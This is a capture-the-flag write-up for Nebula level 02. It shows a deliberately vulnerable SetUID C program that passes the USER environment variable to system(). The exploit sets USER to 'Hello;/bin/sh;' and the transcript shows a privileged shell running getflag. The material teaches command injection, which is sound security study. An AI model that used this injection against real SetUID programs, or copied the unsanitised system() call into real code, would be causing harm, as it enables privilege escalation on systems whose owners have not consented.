Level 02
Exploiting command injection via an environment variable in a SetUID program.
Description
There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
To do this level, log in as the level02 account with the password level02. Files for this level can be found in /home/flag02.
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
char *buffer;
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
buffer = NULL;
asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
printf("about to call system(\"%s\")\n", buffer);
system(buffer);
}
Approach
The program constructs a command string by dynamically concatenating the value of the USER environment variable and then passes it directly to system().
Since the USER environment variable is entirely user-controlled and is not sanitized before being executed, we can perform command injection.
- The code builds the string:
"/bin/echo <USER> is cool". - By injecting a semicolon
;(the command separator in bash), we can terminate theechocommand and introduce our own arbitrary command. - We change our
USERvariable to inject/bin/sh:level02@nebula:/home/flag02$ export USER='Hello;/bin/sh;' - Now, the
system()function evaluates the following string:/bin/echo Hello;/bin/sh; is coolThis is interpreted as three separate commands:/bin/echo Hello/bin/shis cool(this will cause a “command not found” error, but we don’t care because we will already have our shell)
- We execute the binary
./flag02. It executes the injected/bin/shcommand with the privileges offlag02. - From the new shell, we can verify our identity with
idand rungetflag.
Output
level02@nebula:/home/flag02$ export USER='Hello;/bin/sh;'
level02@nebula:/home/flag02$ ./flag02
about to call system("/bin/echo Hello;/bin/sh; is cool")
Hello
sh-4.2$ id
uid=997(flag02) gid=1003(level02) groups=997(flag02),1003(level02)
sh-4.2$ getflag
You have successfully executed getflag on a target account